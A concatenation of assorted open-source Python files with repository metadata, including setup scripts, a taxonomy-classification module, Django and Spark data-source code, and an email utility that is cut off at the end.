isinstance(other, str): return self.__class__(self.data + other) return self.__class__(self.data + str(other)) def __radd__(self, other): if isinstance(other, str): return self.__class__(other + self.data) return self.__class__(str(other) + self.data) def __mul__(self, n): return self.__class__(self.data * n) __rmul__ = __mul__ def __mod__(self, args): return self.__class__(self.data % args) def __rmod__(self, template): return self.__class__(str(template) % self) def __sizeof__(self): return _sys.getsizeof(self.data) # the following methods are defined in alphabetical order: def capitalize(self): return self.__class__(self.data.capitalize()) def casefold(self): return self.__class__(self.data.casefold()) def center(self, width, *args): return self.__class__(self.data.center(width, *args)) def count(self, sub, start=0, end=_sys.maxsize): if isinstance(sub, UserString): sub = sub.data return self.data.count(sub, start, end) def removeprefix(self, prefix, /): if isinstance(prefix, UserString): prefix = prefix.data return self.__class__(self.data.removeprefix(prefix)) def removesuffix(self, suffix, /): if isinstance(suffix, UserString): suffix = suffix.data return self.__class__(self.data.removesuffix(suffix)) def encode(self, encoding='utf-8', errors='strict'): encoding = 'utf-8' if encoding is None else encoding errors = 'strict' if errors is None else errors return self.data.encode(encoding, errors) def endswith(self, suffix, start=0, end=_sys.maxsize): return self.data.endswith(suffix, start, end) def expandtabs(self, tabsize=8): return self.__class__(self.data.expandtabs(tabsize)) def find(self, sub, start=0, end=_sys.maxsize): if isinstance(sub, UserString): sub = sub.data return self.data.find(sub, start, end) def format(self, /, *args, **kwds): return self.data.format(*args, **kwds) def format_map(self, mapping): return self.data.format_map(mapping) def index(self, sub, start=0, end=_sys.maxsize): return self.data.index(sub, start, end) def isalpha(self): return self.data.isalpha() def isalnum(self): return self.data.isalnum() def isascii(self): return self.data.isascii() def isdecimal(self): return self.data.isdecimal() def isdigit(self): return self.data.isdigit() def isidentifier(self): return self.data.isidentifier() def islower(self): return self.data.islower() def isnumeric(self): return self.data.isnumeric() def isprintable(self): return self.data.isprintable() def isspace(self): return self.data.isspace() def istitle(self): return self.data.istitle() def isupper(self): return self.data.isupper() def join(self, seq): return self.data.join(seq) def ljust(self, width, *args): return self.__class__(self.data.ljust(width, *args)) def lower(self): return self.__class__(self.data.lower()) def lstrip(self, chars=None): return self.__class__(self.data.lstrip(chars)) maketrans = str.maketrans def partition(self, sep): return self.data.partition(sep) def replace(self, old, new, maxsplit=-1): if isinstance(old, UserString): old = old.data if isinstance(new, UserString): new = new.data return self.__class__(self.data.replace(old, new, maxsplit)) def rfind(self, sub, start=0, end=_sys.maxsize): if isinstance(sub, UserString): sub = sub.data return self.data.rfind(sub, start, end) def rindex(self, sub, start=0, end=_sys.maxsize): return self.data.rindex(sub, start, end) def rjust(self, width, *args): return self.__class__(self.data.rjust(width, *args)) def rpartition(self, sep): return self.data.rpartition(sep) def rstrip(self, chars=None): return self.__class__(self.data.rstrip(chars)) def split(self, sep=None, maxsplit=-1): return self.data.split(sep, maxsplit) def rsplit(self, sep=None, maxsplit=-1): return self.data.rsplit(sep, maxsplit) def splitlines(self, keepends=False): return self.data.splitlines(keepends) def startswith(self, prefix, start=0, end=_sys.maxsize): return self.data.startswith(prefix, start, end) def strip(self, chars=None): return self.__class__(self.data.strip(chars)) def swapcase(self): return self.__class__(self.data.swapcase()) def title(self): return self.__class__(self.data.title()) def translate(self, *args): return self.__class__(self.data.translate(*args)) def upper(self): return self.__class__(self.data.upper()) def zfill(self, width): return self.__class__(self.data.zfill(width))

33.182973

99

0.577465

ace8dbb303b7f35de08ef0d1f0041f4c28e4ad58

748

py

Python

baselines/BART/sprep.py

shahhaard47/Script-Generation

a9a5ebfedbfb40c2c023ed042c22a6523e38ed9b

[ "MIT" ]

1

2021-09-02T21:57:09.000Z

baselines/BART/sprep.py

shahhaard47/Script-Generation

a9a5ebfedbfb40c2c023ed042c22a6523e38ed9b

[ "MIT" ]

3

2021-02-02T22:50:13.000Z

2022-03-12T00:36:27.000Z

baselines/BART/sprep.py

shahhaard47/Script-Generation

a9a5ebfedbfb40c2c023ed042c22a6523e38ed9b

[ "MIT" ]

null

import pandas as pd import numpy as np def flines(f,l): sz = len(l) for i in range(sz-1): f.write(l[i]) f.write('\n') f.write(l[-1]) df = pd.read_csv("genre.csv") f = open("train.source","w") f2 = open("train.target","w") f3 = open("val.source","w") f4 = open("val.target","w") for i in range(10): dl = str(bytes(' '.join(df.loc[i,"script"].split()),'utf-8').decode('ascii','ignore').encode("ascii"))[1:].replace(r'\'','\'').split() if(len(dl)<100): continue print(df.iloc[i,0]) dl2 = [] for i in range(0,len(dl),56): dl2.append(' '.join(dl[i:i+56])) lim = (len(dl2)*3)//4 flines(f,dl2[:lim-1]) flines(f2,dl2[1:lim]) flines(f3,dl2[lim:-1]) flines(f4,dl2[lim+1:])

26.714286

138

0.540107

ace8dc41927d431bcfb5885ac51316960817bec1

806

py

Python

setup.py

snower/pyslock

9f81cc890056496878ad4f19adb58754ee3f2401

[ "MIT" ]

null

setup.py

snower/pyslock

9f81cc890056496878ad4f19adb58754ee3f2401

[ "MIT" ]

null

setup.py

snower/pyslock

9f81cc890056496878ad4f19adb58754ee3f2401

[ "MIT" ]

null

# -*- coding: utf-8 -*- # 14-8-8 # create by: snower import os from setuptools import find_packages, setup if os.path.exists("README.md"): with open("README.md") as fp: long_description = fp.read() else: long_description = 'https://github.com/snower/syncany' setup( name='pyslock', version='0.0.1', packages=find_packages(), install_requires=[], author='snower', author_email='sujian199@gmail.com', url='https://github.com/snower/pyslock', license='MIT', keywords=[ "shared lock", "slock" ], package_data={ '': ['README.md'], }, description='High-performance distributed shared lock service client driver', long_description=long_description, long_description_content_type='text/markdown', zip_safe=False, )

23.705882

81

0.650124

ace8de8bb489091a790de5ae1275c7fcc131120f

8,725

py

Python

CAT_pack/tax.py

diegocambuy/CAT

d77355050b9f4140ad864cc1789c22523481e3d3

[ "MIT" ]

null

CAT_pack/tax.py

diegocambuy/CAT

d77355050b9f4140ad864cc1789c22523481e3d3

[ "MIT" ]

4

2016-09-06T11:55:09.000Z

2016-11-11T01:31:10.000Z

CAT_pack/tax.py

diegocambuy/CAT

d77355050b9f4140ad864cc1789c22523481e3d3

[ "MIT" ]

null

#!/usr/bin/env python3 import sys import shared def import_nodes(nodes_dmp, log_file, quiet): message = 'Loading file {0}.'.format(nodes_dmp) shared.give_user_feedback(message, log_file, quiet) taxid2parent = {} taxid2rank = {} with open(nodes_dmp, 'r') as f1: for line in f1: line = line.split('\t') taxid = line[0] parent = line[2] rank = line[4] taxid2parent[taxid] = parent taxid2rank[taxid] = rank return (taxid2parent, taxid2rank) def import_names(names_dmp, log_file, quiet): message = 'Loading file {0}.'.format(names_dmp) shared.give_user_feedback(message, log_file, quiet) taxid2name = {} with open(names_dmp, 'r') as f1: for line in f1: line = line.split('\t') if line[6] == 'scientific name': taxid = line[0] name = line[2] taxid2name[taxid] = name return taxid2name def import_fastaid2LCAtaxid(fastaid2LCAtaxid_file, all_hits, log_file, quiet): message = 'Loading file {0}.'.format(fastaid2LCAtaxid_file) shared.give_user_feedback(message, log_file, quiet) fastaid2LCAtaxid = {} with open(fastaid2LCAtaxid_file, 'r') as f1: for line in f1: line = line.rstrip().split('\t') if line[0] in all_hits: # Only include fastaids that are found in hits. fastaid2LCAtaxid[line[0]] = line[1] return fastaid2LCAtaxid def import_taxids_with_multiple_offspring( taxids_with_multiple_offspring_file, log_file, quiet): message = 'Loading file {0}.'.format(taxids_with_multiple_offspring_file) shared.give_user_feedback(message, log_file, quiet) taxids_with_multiple_offspring = set() with open(taxids_with_multiple_offspring_file, 'r') as f1: for line in f1: line = line.rstrip() taxids_with_multiple_offspring.add(line) return taxids_with_multiple_offspring def find_lineage(taxid, taxid2parent, lineage=None): if lineage is None: lineage = [] lineage.append(taxid) if taxid2parent[taxid] == taxid: return lineage else: return find_lineage(taxid2parent[taxid], taxid2parent, lineage) def find_LCA(list_of_lineages): overlap = set.intersection(*map(set, list_of_lineages)) for taxid in list_of_lineages[0]: if taxid in overlap: return taxid def find_LCA_for_ORF(hits, fastaid2LCAtaxid, taxid2parent): list_of_lineages = [] top_bitscore = 0 for (hit, bitscore) in hits: if bitscore > top_bitscore: top_bitscore = bitscore try: taxid = fastaid2LCAtaxid[hit] lineage = find_lineage(taxid, taxid2parent) list_of_lineages.append(lineage) except: # The fastaid does not have an associated taxid for some reason. pass if len(list_of_lineages) == 0: return ('no taxid found ({0})'.format(';'.join([i[0] for i in hits])), top_bitscore) overlap = set.intersection(*map(set, list_of_lineages)) for taxid in list_of_lineages[0]: if taxid in overlap: return (taxid, top_bitscore) def find_questionable_taxids(lineage, taxids_with_multiple_offspring): questionable_taxids = [] if lineage == ['1'] or lineage == ['root']: return questionable_taxids if len(lineage) == 2 and (lineage[1:] == ['1'] or lineage[1:] == ['root']): return questionable_taxids for (i, taxid) in enumerate(lineage): taxid_parent = lineage[i + 1] if taxid_parent in taxids_with_multiple_offspring: return questionable_taxids questionable_taxids.append(taxid) def star_lineage(lineage, taxids_with_multiple_offspring): questionable_taxids = find_questionable_taxids(lineage, taxids_with_multiple_offspring) starred_lineage = [taxid if taxid not in questionable_taxids else '{0}*'.format(taxid) for taxid in lineage] return starred_lineage def find_weighted_LCA(LCAs_ORFs, taxid2parent, f): list_of_lineages = [] list_of_bitscores = [] based_on_n_ORFs = 0 for (taxid, top_bitscore) in LCAs_ORFs: if taxid.startswith('no taxid found'): # Thus the ORFs that are not classified because they don't have an # associated taxid are not taken into account for the # classification of the contig. continue lineage = find_lineage(taxid, taxid2parent) list_of_lineages.append(lineage) list_of_bitscores.append(top_bitscore) based_on_n_ORFs += 1 if len(list_of_lineages) == 0: return ( 'no ORFs with taxids found.', 'no ORFs with taxids found.', 'no ORFs with taxids found.') taxid2bitscore = {} for (i, lineage) in enumerate(list_of_lineages): for taxid in lineage: if taxid not in taxid2bitscore: taxid2bitscore[taxid] = 0 taxid2bitscore[taxid] += list_of_bitscores[i] whitelisted_lineages = [] for taxid in taxid2bitscore: if taxid2bitscore[taxid] / sum(list_of_bitscores) > f: lineage = find_lineage(taxid, taxid2parent) whitelisted_lineages.append(lineage) if len(whitelisted_lineages) == 0: return ( 'no lineage whitelisted.', 'no lineage whitelisted.', 'no lineage whitelisted.') whitelisted_lineages = sorted(whitelisted_lineages, key=lambda x: len(x), reverse=True) longest_lineages = [] longest_lineages_scores = [] taxid_trace = set() for whitelisted_lineage in whitelisted_lineages: if whitelisted_lineage[0] not in taxid_trace: longest_lineages.append(whitelisted_lineage) scores = [taxid2bitscore[taxid] / sum(list_of_bitscores) for taxid in whitelisted_lineage] longest_lineages_scores.append(scores) taxid_trace |= set(whitelisted_lineage) return (longest_lineages, longest_lineages_scores, based_on_n_ORFs) def convert_to_names(lineage, taxid2rank, taxid2name, scores=None): names = [] for (i, taxid) in enumerate(lineage): if '*' in taxid: taxid = taxid.rstrip('*') starred = True else: starred = False name = taxid2name[taxid] rank = taxid2rank[taxid] if scores is not None: if starred: names.append('{0}* ({1}): {2}'.format(name, rank, scores[i])) else: names.append('{0} ({1}): {2}'.format(name, rank, scores[i])) else: if starred: names.append('{0}* ({1})'.format(name, rank)) else: names.append('{0} ({1})'.format(name, rank)) return names def convert_to_official_names(lineage, taxid2rank, taxid2name, scores=None): official_ranks = ['superkingdom', 'phylum', 'class', 'order', 'family', 'genus', 'species'] lineage_ranks = [taxid2rank[taxid.rstrip('*')] for taxid in lineage] official_names = ['no support'] * 7 for (i, rank) in enumerate(official_ranks): if rank in lineage_ranks: index = lineage_ranks.index(rank) taxid = lineage[index] if '*' in taxid: taxid = taxid.rstrip('*') starred = True else: starred = False name = taxid2name[taxid] if scores is not None: if starred: official_names[i] = '{0}*: {1}'.format(name, scores[index]) else: official_names[i] = '{0}: {1}'.format(name, scores[index]) else: if starred: official_names[i] = '{0}*'.format(name) else: official_names[i] = name # Fill the official lineage with NAs if a lower classification is present. index_lowest_classification = 0 for (i, name) in enumerate(official_names): if name != 'no support': index_lowest_classification = i for i in range(index_lowest_classification): if official_names[i] == 'no support': official_names[i] = 'NA' return official_names if __name__ == '__main__': sys.exit('Run \'CAT\' to run CAT or BAT.')

29.377104

82

0.594155

ace8df01dc96fae187634aad51209a07002c0ec1

3,757

py

Python

speedy/setup.py

ashrafizahra81/CodART

693e59d568b548edb2539d04cff1fd991de43124

[ "MIT" ]

1

2022-02-04T11:09:08.000Z

speedy/setup.py

ashrafizahra81/CodART

693e59d568b548edb2539d04cff1fd991de43124

[ "MIT" ]

null

speedy/setup.py

ashrafizahra81/CodART

693e59d568b548edb2539d04cff1fd991de43124

[ "MIT" ]

null

""" `java8speedy` module setup Adding support for Java 8 labeled grammar """ __version__ = '0.5.0' __author__ = 'Morteza' import sys import os import platform import fnmatch import setuptools target = platform.system().lower() PLATFORMS = {'windows', 'linux', 'darwin', 'cygwin'} for known in PLATFORMS: if target.startswith(known): target = known def run_setup(with_binary): if with_binary: extra_compile_args = { 'windows': ['/DANTLR4CPP_STATIC', '/Zc:__cplusplus'], 'linux': ['-std=c++11'], 'darwin': ['-std=c++11'], 'cygwin': ['-std=c++11'], } # Define an Extension object that describes the Antlr accelerator parser_ext = setuptools.Extension( # Extension name shall be at the same level as the sa_java8_parser.py module name='java8speedy.parser.sa_javalabeled_cpp_parser', # Add the Antlr runtime source directory to the include search path include_dirs=["src/java8speedy/parser/cpp_src/antlr4_cpp_runtime"], # Rather than listing each C++ file (Antlr has a lot!), discover them automatically sources=get_files("src/java8speedy/parser/cpp_src", "*.cpp"), depends=get_files("src/java8speedy/parser/cpp_src", "*.h"), extra_compile_args=extra_compile_args.get(target, []) ) ext_modules = [parser_ext] else: ext_modules = [] # Define a package setuptools.setup( name='java8speedy', version='1.2.0', description='Java Speedup Parser', packages=setuptools.find_packages("src"), package_dir={"": "src"}, include_package_data=True, install_requires=[ "antlr4-python3-runtime >= 4.9.2", ], ext_modules=ext_modules, cmdclass={"build_ext": ve_build_ext}, ) # =============================================================================== from setuptools.command.build_ext import build_ext from distutils.errors import CCompilerError, DistutilsExecError, DistutilsPlatformError def get_files(path, pattern): """ Recursive file search that is compatible with python3.4 and older """ matches = [] for root, _, filenames in os.walk(path): for filename in fnmatch.filter(filenames, pattern): matches.append(os.path.join(root, filename)) return matches class BuildFailed(Exception): pass class ve_build_ext(build_ext): """ This class extends setuptools to fail with a common BuildFailed exception if a build fails """ def run(self): try: build_ext.run(self) except DistutilsPlatformError: raise BuildFailed() def build_extension(self, ext): try: build_ext.build_extension(self, ext) except (CCompilerError, DistutilsExecError, DistutilsPlatformError): raise BuildFailed() except ValueError: # this can happen on Windows 64 bit, see Python issue 7511 if "'path'" in str(sys.exc_info()[1]): # works with Python 2 and 3 raise BuildFailed() raise # Detect if an alternate interpreter is being used is_jython = "java" in sys.platform is_pypy = hasattr(sys, "pypy_version_info") # Force using fallback if using an alternate interpreter using_fallback = is_jython or is_pypy if not using_fallback: try: run_setup(with_binary=True) except BuildFailed: if 'SPAM_EXAMPLE_REQUIRE_CI_BINARY_BUILD' in os.environ: # Require build to pass if running in travis-ci raise else: using_fallback = True if using_fallback: run_setup(with_binary=False)

28.9

95

0.627096

ace8df29b93364ee4ac1b404be6a9188d5a201f3

966

py

Python

rkpylib/backups/rkhttp_globals.py

rafaank/rkpylib

9081044fd535bc8792df54a16611c835592a4343

[ "Apache-2.0" ]

null

rkpylib/backups/rkhttp_globals.py

rafaank/rkpylib

9081044fd535bc8792df54a16611c835592a4343

[ "Apache-2.0" ]

null

rkpylib/backups/rkhttp_globals.py

rafaank/rkpylib

9081044fd535bc8792df54a16611c835592a4343

[ "Apache-2.0" ]

1

2019-04-29T10:29:51.000Z

from .rkdatasource import RKDataSource from .rkutils import RKDict from threading import Lock def __init_globals__(globals): globals.register('counter', 0) dspool = list() dspool_lock = list() for i in range(5): ds = RKDataSource(server='127.0.0.1', port=27017, database='test') lck = Lock() dspool.append(ds) dspool_lock.append(lck) globals.register('dspool', dspool) globals.register('dspool_lock', dspool_lock) globals.register('dspool_func', dspool_func) globals.register('total_requests', 0) def dspool_func(pool, pool_lock): for idx, ds in enumerate(pool): if pool_lock[idx].acquire(False): print(f"Found dspool_item at index {idx}") ds_obj = dict() ds_obj['lock'] = pool_lock[idx] ds_obj['ds'] = ds return ds_obj else: continue return None

26.833333

75

0.589027

ace8df2ea42d82eb80755688a3c2f0e138661e1e

1,685

py

Python

config/wsgi.py

Tlazypanda/outpass

bd52b8b91880471965b997fb4f494c0ad1aa2f20

[ "MIT" ]

null

config/wsgi.py

Tlazypanda/outpass

bd52b8b91880471965b997fb4f494c0ad1aa2f20

[ "MIT" ]

null

config/wsgi.py

Tlazypanda/outpass

bd52b8b91880471965b997fb4f494c0ad1aa2f20

[ "MIT" ]

null

""" WSGI config for outpass project. This module contains the WSGI application used by Django's development server and any production WSGI deployments. It should expose a module-level variable named ``application``. Django's ``runserver`` and ``runfcgi`` commands discover this application via the ``WSGI_APPLICATION`` setting. Usually you will have the standard Django WSGI application here, but it also might make sense to replace the whole Django WSGI application with a custom one that later delegates to the Django one. For example, you could introduce WSGI middleware here, or combine a Django application with an application of another framework. """ import os import sys from django.core.wsgi import get_wsgi_application # This allows easy placement of apps within the interior # outpass directory. app_path = os.path.abspath(os.path.join( os.path.dirname(os.path.abspath(__file__)), os.pardir)) sys.path.append(os.path.join(app_path, 'outpass')) # We defer to a DJANGO_SETTINGS_MODULE already in the environment. This breaks # if running multiple sites in the same mod_wsgi process. To fix this, use # mod_wsgi daemon mode with each site in its own daemon process, or use # os.environ["DJANGO_SETTINGS_MODULE"] = "config.settings.production" os.environ.setdefault("DJANGO_SETTINGS_MODULE", "config.settings.production") # This application object is used by any WSGI server configured to use this # file. This includes Django's development server, if the WSGI_APPLICATION # setting points here. application = get_wsgi_application() # Apply WSGI middleware here. # from helloworld.wsgi import HelloWorldApplication # application = HelloWorldApplication(application)

41.097561

79

0.796439

ace8df5b2e10fc1964ba39af2e08e48c532e237a

286

py

Python

src/Javinizer/cfscraper.py

Anytinz/Javinizer

64420c6ca0ca35faa62ccc5df8b647506dbca1b7

[ "MIT" ]

null

src/Javinizer/cfscraper.py

Anytinz/Javinizer

64420c6ca0ca35faa62ccc5df8b647506dbca1b7

[ "MIT" ]

null

src/Javinizer/cfscraper.py

Anytinz/Javinizer

64420c6ca0ca35faa62ccc5df8b647506dbca1b7

[ "MIT" ]

null

import cloudscraper import sys cookie_value, user_agent = cloudscraper.get_cookie_string( sys.argv[1], browser={'browser': 'chrome', 'mobile': False}) #cookie_value, user_agent = cloudscraper.get_cookie_string(sys.argv[1]) print('{}\n{}'.format(cookie_value, user_agent))

31.777778

72

0.734266

ace8e07bb71aa8492ac0d369acebc5aa1c2a8aca

7,690

py

Python

great_expectations/datasource/sparkdf_datasource.py

louispotok/great_expectations

b91a3ce10f771742f49ccad9c403bda03f318515

[ "Apache-2.0" ]

null

great_expectations/datasource/sparkdf_datasource.py

louispotok/great_expectations

b91a3ce10f771742f49ccad9c403bda03f318515

[ "Apache-2.0" ]

null

great_expectations/datasource/sparkdf_datasource.py

louispotok/great_expectations

b91a3ce10f771742f49ccad9c403bda03f318515

[ "Apache-2.0" ]

null

import logging import time from six import string_types from ..exceptions import BatchKwargsError from .datasource import Datasource, ReaderMethods from great_expectations.datasource.generator.subdir_reader_generator import SubdirReaderGenerator from great_expectations.datasource.generator.databricks_generator import DatabricksTableGenerator from great_expectations.datasource.generator.in_memory_generator import InMemoryGenerator from great_expectations.datasource.generator.s3_generator import S3Generator from great_expectations.types import ClassConfig logger = logging.getLogger(__name__) try: from great_expectations.dataset.sparkdf_dataset import SparkDFDataset from pyspark.sql import SparkSession, DataFrame except ImportError: SparkSession = None # TODO: review logging more detail here logger.debug("Unable to load pyspark; install optional spark dependency for support.") class SparkDFDatasource(Datasource): """The SparkDFDatasource produces SparkDFDatasets and supports generators capable of interacting with local filesystem (the default subdir_reader generator) and databricks notebooks. """ @classmethod def build_configuration(cls, data_asset_type=None, generators=None, **kwargs): """ Build a full configuration object for a datasource, potentially including generators with defaults. Args: data_asset_type: A ClassConfig dictionary generators: Generator configuration dictionary **kwargs: Additional kwargs to be part of the datasource constructor's initialization Returns: A complete datasource configuration. """ if generators is None: # Provide a gentle way to build a datasource with a sane default, # including ability to specify the base_directory base_directory = kwargs.pop("base_directory", "/data") reader_options = kwargs.pop("reader_options", {}) generators = { "default": { "class_name": "SubdirReaderGenerator", "base_directory": base_directory, "reader_options": reader_options } } if data_asset_type is None: data_asset_type = ClassConfig( class_name="SparkDFDataset" ) else: try: data_asset_type = ClassConfig(**data_asset_type) except TypeError: # In this case, we allow the passed config, for now, in case they're using a legacy string-only config pass configuration = kwargs configuration.update({ "data_asset_type": data_asset_type, "generators": generators, }) return configuration def __init__(self, name="default", data_context=None, data_asset_type=None, generators=None, **kwargs): configuration_with_defaults = SparkDFDatasource.build_configuration(data_asset_type, generators, **kwargs) data_asset_type = configuration_with_defaults.pop("data_asset_type") generators = configuration_with_defaults.pop("generators") super(SparkDFDatasource, self).__init__( name, data_context=data_context, data_asset_type=data_asset_type, generators=generators, **configuration_with_defaults) try: self.spark = SparkSession.builder.getOrCreate() except AttributeError: logger.error("Unable to load spark context; install optional spark dependency for support.") self.spark = None self._build_generators() def _get_generator_class_from_type(self, type_): if type_ == "subdir_reader": return SubdirReaderGenerator elif type_ == "databricks": return DatabricksTableGenerator elif type_ == "memory": return InMemoryGenerator elif type_ == "s3": return S3Generator else: raise ValueError("Unrecognized BatchGenerator type %s" % type_) def _get_data_asset(self, batch_kwargs, expectation_suite, caching=True, **kwargs): """class-private implementation of get_data_asset""" if self.spark is None: logger.error("No spark session available") return None batch_kwargs.update(kwargs) reader_options = batch_kwargs.copy() if "data_asset_type" in reader_options: data_asset_type_config = reader_options.pop("data_asset_type") # Get and remove the config try: data_asset_type_config = ClassConfig(**data_asset_type_config) except TypeError: # We tried; we'll pass the config downstream, probably as a string, and handle an error later pass else: data_asset_type_config = self._data_asset_type data_asset_type = self._get_data_asset_class(data_asset_type_config) if not issubclass(data_asset_type, SparkDFDataset): raise ValueError("SparkDFDatasource cannot instantiate batch with data_asset_type: '%s'. It " "must be a subclass of SparkDFDataset." % data_asset_type.__name__) if "path" in batch_kwargs or "s3" in batch_kwargs: if "path" in batch_kwargs: path = reader_options.pop("path") # We remove this so it is not used as a reader option else: path = reader_options.pop("s3") reader_options.pop("timestamp", "") # ditto timestamp (but missing ok) reader_method = reader_options.pop("reader_method", None) if reader_method is None: reader_method = self._guess_reader_method_from_path(path) if reader_method is None: raise BatchKwargsError("Unable to determine reader for path: %s" % path, batch_kwargs) else: try: reader_method = ReaderMethods[reader_method] except KeyError: raise BatchKwargsError("Unknown reader method: %s" % reader_method, batch_kwargs) reader = self.spark.read for option in reader_options.items(): reader = reader.option(*option) if reader_method == ReaderMethods.CSV: df = reader.csv(path) elif reader_method == ReaderMethods.parquet: df = reader.parquet(path) elif reader_method == ReaderMethods.delta: df = reader.format("delta").load(path) else: raise BatchKwargsError("Unsupported reader: %s" % reader_method.name, batch_kwargs) elif "query" in batch_kwargs: df = self.spark.sql(batch_kwargs["query"]) elif "dataset" in batch_kwargs and isinstance(batch_kwargs["dataset"], (DataFrame, SparkDFDataset)): df = batch_kwargs.pop("dataset") # We don't want to store the actual DataFrame in kwargs if isinstance(df, SparkDFDataset): # Grab just the spark_df reference, since we want to override everything else df = df.spark_df batch_kwargs["SparkDFRef"] = True else: raise BatchKwargsError("Unrecognized batch_kwargs for spark_source", batch_kwargs) return data_asset_type(df, expectation_suite=expectation_suite, data_context=self._data_context, batch_kwargs=batch_kwargs, caching=caching)

42.960894

118

0.641222

ace8e0a9cf61d866682b5a15c09cdce97c87cb8e

475

py

Python

Python/21 - 104 - validando entrada de dados em python.py

matheusguerreiro/python

f39a1b92409f11cbe7fef5d9261f863f9e0fac0d

[ "MIT" ]

null

Python/21 - 104 - validando entrada de dados em python.py

matheusguerreiro/python

f39a1b92409f11cbe7fef5d9261f863f9e0fac0d

[ "MIT" ]

null

Python/21 - 104 - validando entrada de dados em python.py

matheusguerreiro/python

f39a1b92409f11cbe7fef5d9261f863f9e0fac0d

[ "MIT" ]

null

# Aula 21 (Funções (Parte 2)) def leiaInt(msg): ok = False valor = 0 while True: n = str(input(msg)) if n.isnumeric(): valor = int(n) ok = True else: print(f'\033[1;31mErro! Digite um número inteiro.\033[m') if ok == True: break return valor print('Validação de Dados') numero = leiaInt('Digite um Número: ') print(f'\033[1;32mVocê acabou de digitar o número {numero}.\033[m')

23.75

69

0.547368

ace8e12ff8bf60b4eff34031261469d302a0cd09

326

py

Python

users/views.py

Shubarin/api_booking

2340a022843410a882ff1e9434d5a21601be42a2

[ "BSD-3-Clause" ]

null

users/views.py

Shubarin/api_booking

2340a022843410a882ff1e9434d5a21601be42a2

[ "BSD-3-Clause" ]

null

users/views.py

Shubarin/api_booking

2340a022843410a882ff1e9434d5a21601be42a2

[ "BSD-3-Clause" ]

null

from django.shortcuts import render from django.urls import reverse_lazy from django.views.generic import CreateView from .forms import CreationForm class SignUp(CreateView): form_class = CreationForm success_url = reverse_lazy("login") # где login — это параметр "name" в path() template_name = "signup.html"

27.166667

83

0.766871

ace8e298717059a1cc2600ae30b349d57e78fb72

60

py

Python

selectable_select2/base.py

pablochud/django-selectable-select2

5561d9eaf48a56e3f1b74466cc6c4fe82ced07d1

[ "BSD-3-Clause" ]

null

selectable_select2/base.py

pablochud/django-selectable-select2

5561d9eaf48a56e3f1b74466cc6c4fe82ced07d1

[ "BSD-3-Clause" ]

null

selectable_select2/base.py

pablochud/django-selectable-select2

5561d9eaf48a56e3f1b74466cc6c4fe82ced07d1

[ "BSD-3-Clause" ]

null

from selectable.base import LookupBase, ModelLookup # noqa

30

59

0.816667

ace8e4bd05c05282d660096396f00952214f29be

678

py

Python

tutorials/W3D4_DeepLearning1/solutions/W3D4_Tutorial3_Solution_1d165229.py

liuxiaomiao123/NeuroMathAcademy

16a7969604a300bf9fbb86f8a5b26050ebd14c65

[ "CC-BY-4.0" ]

2

2020-07-03T04:39:09.000Z

2020-07-12T02:08:31.000Z

tutorials/W3D4_DeepLearning1/solutions/W3D4_Tutorial3_Solution_1d165229.py

NinaHKivanani/course-content

3c91dd1a669cebce892486ba4f8086b1ef2e1e49

[ "CC-BY-4.0" ]

1

2020-06-22T22:57:03.000Z

tutorials/W3D4_DeepLearning1/solutions/W3D4_Tutorial3_Solution_1d165229.py

NinaHKivanani/course-content

3c91dd1a669cebce892486ba4f8086b1ef2e1e49

[ "CC-BY-4.0" ]

1

2022-01-23T20:16:15.000Z

def correlate_rdms(rdm1, rdm2): """Correlate off-diagonal elements of two RDM's Args: rdm1 (np.ndarray): S x S representational dissimilarity matrix rdm2 (np.ndarray): S x S representational dissimilarity matrix to correlate with rdm1 Returns: float: correlation coefficient between the off-diagonal elements of rdm1 and rdm2 """ # Extract off-diagonal elements of each RDM ioffdiag = np.triu_indices(rdm1.shape[0], k=1) # indices of off-diagonal elements rdm1_offdiag = rdm1[ioffdiag] rdm2_offdiag = rdm2[ioffdiag] # Compute correlation coefficient return zscore(rdm1_offdiag) @ zscore(rdm2_offdiag) / len(rdm2_offdiag)

32.285714

84

0.728614

ace8e6837c6387950b17bcb0b39bb475481a0376

7,982

py

Python

util/useremails.py

bcaton85/quay

a60d0c9248e2a8ee159bcf9c6bd6efcebf2e9d6e

[ "Apache-2.0" ]

null

util/useremails.py

bcaton85/quay

a60d0c9248e2a8ee159bcf9c6bd6efcebf2e9d6e

[ "Apache-2.0" ]

null

util/useremails.py

bcaton85/quay

a60d0c9248e2a8ee159bcf9c6bd6efcebf2e9d6e

[ "Apache-2.0" ]

null

import os import json import logging import features from unittest import mock from flask_mail import Message from _init import ROOT_DIR from singletons.config import app_config, get_app_url from singletons.mail import mail from util.jinjautil import get_template_env from util.html import html2text from util.fips import login_fips_safe logger = logging.getLogger(__name__) template_env = get_template_env(os.path.join(ROOT_DIR, "emails")) class CannotSendEmailException(Exception): pass class GmailAction(object): """ Represents an action that can be taken in Gmail in response to the email. """ def __init__(self, metadata): self.metadata = metadata @staticmethod def confirm(name, url, description): return GmailAction( { "@context": "http://schema.org", "@type": "EmailMessage", "action": { "@type": "ConfirmAction", "name": name, "handler": {"@type": "HttpActionHandler", "url": get_app_url() + "/" + url}, }, "description": description, } ) @staticmethod def view(name, url, description): return GmailAction( { "@context": "http://schema.org", "@type": "EmailMessage", "action": {"@type": "ViewAction", "name": name, "url": get_app_url() + "/" + url}, "description": description, } ) def send_email(recipient, subject, template_file, parameters, action=None): app_title = app_config["REGISTRY_TITLE_SHORT"] app_url = get_app_url() html, plain = render_email( app_title, app_url, recipient, subject, template_file, parameters, action=None ) msg = Message("[%s] %s" % (app_title, subject), recipients=[recipient]) msg.html = html msg.body = plain try: if features.FIPS: assert app_config[ "MAIL_USE_TLS" ], "MAIL_USE_TLS must be enabled to use SMTP in FIPS mode." with mock.patch("smtplib.SMTP.login", login_fips_safe): mail.send(msg) else: mail.send(msg) if app_config["TESTING"]: logger.debug("Quay is configured for testing. Email not sent: '%s'", msg.subject) else: logger.debug("Sent email: '%s'", msg.subject) except Exception as ex: logger.exception("Error while trying to send email to %s", recipient) raise CannotSendEmailException(str(ex)) def render_email(app_title, app_url, recipient, subject, template_file, parameters, action=None): def app_link_handler(url=None): return app_url + "/" + url if url else app_url app_logo = app_config.get("ENTERPRISE_LOGO_URL", "https://quay.io/static/img/quay-logo.png") parameters.update( { "subject": subject, "app_logo": app_logo, "app_url": app_url, "app_title": app_title, "hosted": features.BILLING, "app_link": app_link_handler, "action_metadata": json.dumps(action.metadata) if action else None, "with_base_template": True, } ) rendered_html = template_env.get_template(template_file + ".html").render(parameters) parameters.update( { "with_base_template": False, } ) rendered_for_plain = template_env.get_template(template_file + ".html").render(parameters) return rendered_html, 